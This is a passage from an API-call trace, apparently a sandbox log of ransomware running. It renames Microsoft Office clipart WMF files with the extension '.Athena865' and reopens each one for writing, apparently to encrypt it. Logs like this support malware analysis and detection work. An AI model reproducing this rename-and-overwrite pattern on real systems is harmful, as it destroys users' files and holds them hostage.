dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.649] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5504) returned 1 [0124.655] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105298.WMF" | out: lpString1="J0105298.WMF") returned="J0105298.WMF" [0124.655] lstrlenW (lpString="J0105298.WMF") returned 12 [0124.655] lstrlenW (lpString="Athena865") returned 9 [0124.655] lstrcmpiW (lpString1="05298.WMF", lpString2="Athena865") returned -1 [0124.655] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.Athena865") returned 73 [0124.656] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.athena865"), dwFlags=0x1) returned 1 [0124.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.665] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6320) returned 1 [0124.673] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105306.WMF" | out: lpString1="J0105306.WMF") returned="J0105306.WMF" [0124.673] lstrlenW (lpString="J0105306.WMF") returned 12 [0124.674] lstrlenW (lpString="Athena865") returned 9 [0124.674] lstrcmpiW (lpString1="05306.WMF", lpString2="Athena865") returned -1 [0124.674] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.Athena865") returned 73 [0124.674] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.athena865"), dwFlags=0x1) returned 1 [0124.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.683] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4320) returned 1 [0124.686] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105320.WMF" | out: lpString1="J0105320.WMF") returned="J0105320.WMF" [0124.686] lstrlenW (lpString="J0105320.WMF") returned 12 [0124.686] lstrlenW (lpString="Athena865") returned 9 [0124.686] lstrcmpiW (lpString1="05320.WMF", lpString2="Athena865") returned -1 [0124.686] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.Athena865") returned 73 [0124.686] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.athena865"), dwFlags=0x1) returned 1 [0124.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.688] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2020) returned 1 [0124.691] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105328.WMF" | out: lpString1="J0105328.WMF") returned="J0105328.WMF" [0124.691] lstrlenW (lpString="J0105328.WMF") returned 12 [0124.691] lstrlenW (lpString="Athena865") returned 9 [0124.691] lstrcmpiW (lpString1="05328.WMF", lpString2="Athena865") returned -1 [0124.691] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.Athena865") returned 73 [0124.691] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.athena865"), dwFlags=0x1) returned 1 [0124.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.692] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7992) returned 1 [0124.702] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105332.WMF" | out: lpString1="J0105332.WMF") returned="J0105332.WMF" [0124.702] lstrlenW (lpString="J0105332.WMF") returned 12 [0124.703] lstrlenW (lpString="Athena865") returned 9 [0124.703] lstrcmpiW (lpString1="05332.WMF", lpString2="Athena865") returned -1 [0124.705] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.Athena865") returned 73 [0124.705] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.athena865"), dwFlags=0x1) returned 1 [0124.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.709] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10508) returned 1 [0124.719] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105336.WMF" | out: lpString1="J0105336.WMF") returned="J0105336.WMF" [0124.719] lstrlenW (lpString="J0105336.WMF") returned 12 [0124.719] lstrlenW (lpString="Athena865") returned 9 [0124.719] lstrcmpiW (lpString1="05336.WMF", lpString2="Athena865") returned -1 [0124.720] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.Athena865") returned 73 [0124.720] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.athena865"), dwFlags=0x1) returned 1 [0124.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.726] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2900) returned 1 [0124.736] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105338.WMF" | out: lpString1="J0105338.WMF") returned="J0105338.WMF" [0124.736] lstrlenW (lpString="J0105338.WMF") returned 12 [0124.736] lstrlenW (lpString="Athena865") returned 9 [0124.736] lstrcmpiW (lpString1="05338.WMF", lpString2="Athena865") returned -1 [0124.737] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.Athena865") returned 73 [0124.737] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.athena865"), dwFlags=0x1) returned 1 [0124.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.744] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11584) returned 1 [0124.749] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105348.WMF" | out: lpString1="J0105348.WMF") returned="J0105348.WMF" [0124.749] lstrlenW (lpString="J0105348.WMF") returned 12 [0124.749] lstrlenW (lpString="Athena865") returned 9 [0124.749] lstrcmpiW (lpString1="05348.WMF", lpString2="Athena865") returned -1 [0124.749] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.Athena865") returned 73 [0124.749] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.athena865"), dwFlags=0x1) returned 1 [0124.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.753] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17060) returned 1 [0124.763] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105360.WMF" | out: lpString1="J0105360.WMF") returned="J0105360.WMF" [0124.763] lstrlenW (lpString="J0105360.WMF") returned 12 [0124.763] lstrlenW (lpString="Athena865") returned 9 [0124.763] lstrcmpiW (lpString1="05360.WMF", lpString2="Athena865") returned -1 [0124.763] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.Athena865") returned 73 [0124.764] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.athena865"), dwFlags=0x1) returned 1 [0124.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.766] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8860) returned 1 [0124.775] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105368.WMF" | out: lpString1="J0105368.WMF") returned="J0105368.WMF" [0124.775] lstrlenW (lpString="J0105368.WMF") returned 12 [0124.776] lstrlenW (lpString="Athena865") returned 9 [0124.776] lstrcmpiW (lpString1="05368.WMF", lpString2="Athena865") returned -1 [0124.776] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.Athena865") returned 73 [0124.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.athena865"), dwFlags=0x1) returned 1 [0124.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.777] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12380) returned 1 [0124.781] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105376.WMF" | out: lpString1="J0105376.WMF") returned="J0105376.WMF" [0124.781] lstrlenW (lpString="J0105376.WMF") returned 12 [0124.781] lstrlenW (lpString="Athena865") returned 9 [0124.781] lstrcmpiW (lpString1="05376.WMF", lpString2="Athena865") returned -1 [0124.781] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.Athena865") returned 73 [0124.781] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.athena865"), dwFlags=0x1) returned 1 [0124.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.782] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4964) returned 1 [0124.787] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105378.WMF" | out: lpString1="J0105378.WMF") returned="J0105378.WMF" [0124.787] lstrlenW (lpString="J0105378.WMF") returned 12 [0124.787] lstrlenW (lpString="Athena865") returned 9 [0124.787] lstrcmpiW (lpString1="05378.WMF", lpString2="Athena865") returned -1 [0124.788] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.Athena865") returned 73 [0124.788] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.athena865"), dwFlags=0x1) returned 1 [0124.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.792] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4964) returned 1 [0124.800] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105380.WMF" | out: lpString1="J0105380.WMF") returned="J0105380.WMF" [0124.800] lstrlenW (lpString="J0105380.WMF") returned 12 [0124.801] lstrlenW (lpString="Athena865") returned 9 [0124.801] lstrcmpiW (lpString1="05380.WMF", lpString2="Athena865") returned -1 [0124.801] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.Athena865") returned 73 [0124.801] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.athena865"), dwFlags=0x1) returned 1 [0124.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.804] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4624) returned 1 [0124.809] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105384.WMF" | out: lpString1="J0105384.WMF") returned="J0105384.WMF" [0124.809] lstrlenW (lpString="J0105384.WMF") returned 12 [0124.809] lstrlenW (lpString="Athena865") returned 9 [0124.809] lstrcmpiW (lpString1="05384.WMF", lpString2="Athena865") returned -1 [0124.809] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.Athena865") returned 73 [0124.810] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.athena865"), dwFlags=0x1) returned 1 [0124.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.813] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5880) returned 1 [0124.817] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105386.WMF" | out: lpString1="J0105386.WMF") returned="J0105386.WMF" [0124.817] lstrlenW (lpString="J0105386.WMF") returned 12 [0124.818] lstrlenW (lpString="Athena865") returned 9 [0124.818] lstrcmpiW (lpString1="05386.WMF", lpString2="Athena865") returned -1 [0124.818] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.Athena865") returned 73 [0124.818] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.athena865"), dwFlags=0x1) returned 1 [0124.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.819] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5980) returned 1 [0124.826] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105388.WMF" | out: lpString1="J0105388.WMF") returned="J0105388.WMF" [0124.826] lstrlenW (lpString="J0105388.WMF") returned 12 [0124.826] lstrlenW (lpString="Athena865") returned 9 [0124.826] lstrcmpiW (lpString1="05388.WMF", lpString2="Athena865") returned -1 [0124.827] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.Athena865") returned 73 [0124.827] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.athena865"), dwFlags=0x1) returned 1 [0124.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.828] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8252) returned 1 [0124.838] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105390.WMF" | out: lpString1="J0105390.WMF") returned="J0105390.WMF" [0124.838] lstrlenW (lpString="J0105390.WMF") returned 12 [0124.838] lstrlenW (lpString="Athena865") returned 9 [0124.838] lstrcmpiW (lpString1="05390.WMF", lpString2="Athena865") returned -1 [0124.839] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.Athena865") returned 73 [0124.839] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.athena865"), dwFlags=0x1) returned 1 [0124.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.842] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4944) returned 1 [0124.847] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105396.WMF" | out: lpString1="J0105396.WMF") returned="J0105396.WMF" [0124.847] lstrlenW (lpString="J0105396.WMF") returned 12 [0124.847] lstrlenW (lpString="Athena865") returned 9 [0124.847] lstrcmpiW (lpString1="05396.WMF", lpString2="Athena865") returned -1 [0124.848] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.Athena865") returned 73 [0124.848] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.athena865"), dwFlags=0x1) returned 1 [0124.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.849] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11012) returned 1 [0124.854] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105398.WMF" | out: lpString1="J0105398.WMF") returned="J0105398.WMF" [0124.854] lstrlenW (lpString="J0105398.WMF") returned 12 [0124.854] lstrlenW (lpString="Athena865") returned 9 [0124.854] lstrcmpiW (lpString1="05398.WMF", lpString2="Athena865") returned -1 [0124.854] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.Athena865") returned 73 [0124.854] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.athena865"), dwFlags=0x1) returned 1 [0124.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0124.856] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3328) returned 1 [0124.866] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0105410.WMF" | out: lpString1="J0105410.WMF") returned="J0105410.WMF" [0124.866] lstrlenW (lpString="J0105410.WMF") returned 12 [0124.866] lstrlenW (lpString="Athena865") returned 9 [0124.866] lstrcmpiW (lpString1="05410.WMF", lpString2="Athena865") returned -1 [0124.866] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program 